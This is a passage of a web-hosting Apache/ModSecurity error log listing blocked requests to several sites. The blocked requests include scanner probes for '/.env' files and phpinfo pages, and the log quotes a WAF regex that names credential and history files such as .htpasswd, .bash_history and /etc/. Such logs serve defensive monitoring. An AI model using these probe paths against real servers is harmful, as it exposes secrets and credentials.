(phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/pfbe/.env"] [unique_id "ai3zM9yTkdrNlD40tSGyOgAAAGs"] [Sat Jun 13 18:17:55.861360 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.61:28304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:55.861646 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.61:28304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:55.959092 2026] [security2:error] [pid 646876:tid 647073] [client 185.177.72.9:53012] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/php.php"] [unique_id "ai3zM9yTkdrNlD40tSGyQAAAAEE"] [Sat Jun 13 18:17:56.009350 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.45:53660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:56.009790 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.45:53660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:56.044393 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:17:56.044875 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:17:56.234777 2026] [security2:error] [pid 646876:tid 647131] [client 185.177.72.9:53018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/php1.php"] [unique_id "ai3zNNyTkdrNlD40tSGySwAAAHs"] [Sat Jun 13 18:17:56.351831 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.53:59402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:56.352110 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.53:59402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:56.501778 2026] [security2:error] [pid 646876:tid 647134] [client 185.177.72.9:53022] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/php52/phpinfo.php"] [unique_id "ai3zNNyTkdrNlD40tSGyUQAAAH4"] [Sat Jun 13 18:17:56.559676 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:17:56.560117 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:17:56.772365 2026] [security2:error] [pid 646876:tid 647015] [client 185.177.72.9:53038] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3zNNyTkdrNlD40tSGyVgAAAAc"] [Sat Jun 13 18:17:57.028172 2026] [security2:error] [pid 648189:tid 648303] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/.env"] [unique_id "ai3zNVWSojQL4F7upKBqGAABAFE"] [Sat Jun 13 18:17:57.040321 2026] [security2:error] [pid 648189:tid 648353] [client 185.177.72.9:53054] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpcustom_info/phpinfo.php"] [unique_id "ai3zNVWSojQL4F7upKBqGwAAAIU"] [Sat Jun 13 18:17:57.040820 2026] [security2:error] [pid 648189:tid 648310] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.lthssolar.com"] [uri "/api/.env"] [unique_id "ai3zNVWSojQL4F7upKBqGgAAjlg"] [Sat Jun 13 18:17:57.089797 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZS9pZA== [Sat Jun 13 18:17:57.090083 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZS9pZA== [Sat Jun 13 18:17:57.095166 2026] [security2:error] [pid 646876:tid 646992] [remote 17.241.219.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zNdyTkdrNlD40tSGyXgAAPnE"] [Sat Jun 13 18:17:57.163711 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.67:30975] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:57.163972 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.67:30975] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:57.352414 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.29:48307] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:57.352719 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.29:48307] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:57.412785 2026] [security2:error] [pid 648189:tid 648273] [remote 17.22.245.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zNVWSojQL4F7upKBqKgAAjDM"] [Sat Jun 13 18:17:57.447440 2026] [security2:error] [pid 648189:tid 648438] [client 185.177.72.9:53056] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php4"] [unique_id "ai3zNVWSojQL4F7upKBqKwAAANk"] [Sat Jun 13 18:17:57.497127 2026] [security2:error] [pid 646876:tid 646951] [remote 17.241.227.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zNdyTkdrNlD40tSGyagAAAEg"] [Sat Jun 13 18:17:57.579563 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:17:57.579876 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:17:57.604705 2026] [security2:error] [pid 648189:tid 648244] [remote 210.211.99.176:40782] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "semakulajeffrey.com"] [uri "/xmlrpc.php"] [unique_id "ai3zNVWSojQL4F7upKBqMQABAxc"] [Sat Jun 13 18:17:57.604988 2026] [security2:error] [pid 648189:tid 648485] [client 210.211.99.176:40782] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "semakulajeffrey.com"] [uri "/xmlrpc.php"] [unique_id "ai3zNVWSojQL4F7upKBqMQABAxc"] [Sat Jun 13 18:17:57.715984 2026] [security2:error] [pid 646876:tid 647121] [client 185.177.72.9:53062] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php5"] [unique_id "ai3zNdyTkdrNlD40tSGyfAAAAHE"] [Sat Jun 13 18:17:57.752713 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.80:37695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:57.753140 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.80:37695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:57.894658 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.52:44014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:57.895090 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.52:44014] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:58.144340 2026] [security2:error] [pid 648189:tid 648470] [client 185.177.72.9:53068] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3zNlWSojQL4F7upKBqPwAAAPQ"] [Sat Jun 13 18:17:58.161993 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:17:58.162281 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:17:58.297015 2026] [security2:error] [pid 646876:tid 646997] [remote 17.246.15.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zNtyTkdrNlD40tSGyiwAAEnY"] [Sat Jun 13 18:17:58.377970 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.82:60478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:58.378250 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.82:60478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:58.419084 2026] [security2:error] [pid 646876:tid 647096] [client 185.177.72.9:53084] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo/phpinfo.php"] [unique_id "ai3zNtyTkdrNlD40tSGyjwAAAFg"] [Sat Jun 13 18:17:58.471037 2026] [security2:error] [pid 648189:tid 648333] [remote 17.22.237.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zNlWSojQL4F7upKBqSAAA7G4"] [Sat Jun 13 18:17:58.511165 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.102:30483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:58.511474 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.102:30483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:58.555154 2026] [security2:error] [pid 646876:tid 647125] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/DateTime_verify.phpt"] [unique_id "ai3zNtyTkdrNlD40tSGylwAAAHU"] [Sat Jun 13 18:17:58.653773 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.17:49702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:58.654060 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.17:49702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:58.686887 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:17:58.687208 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 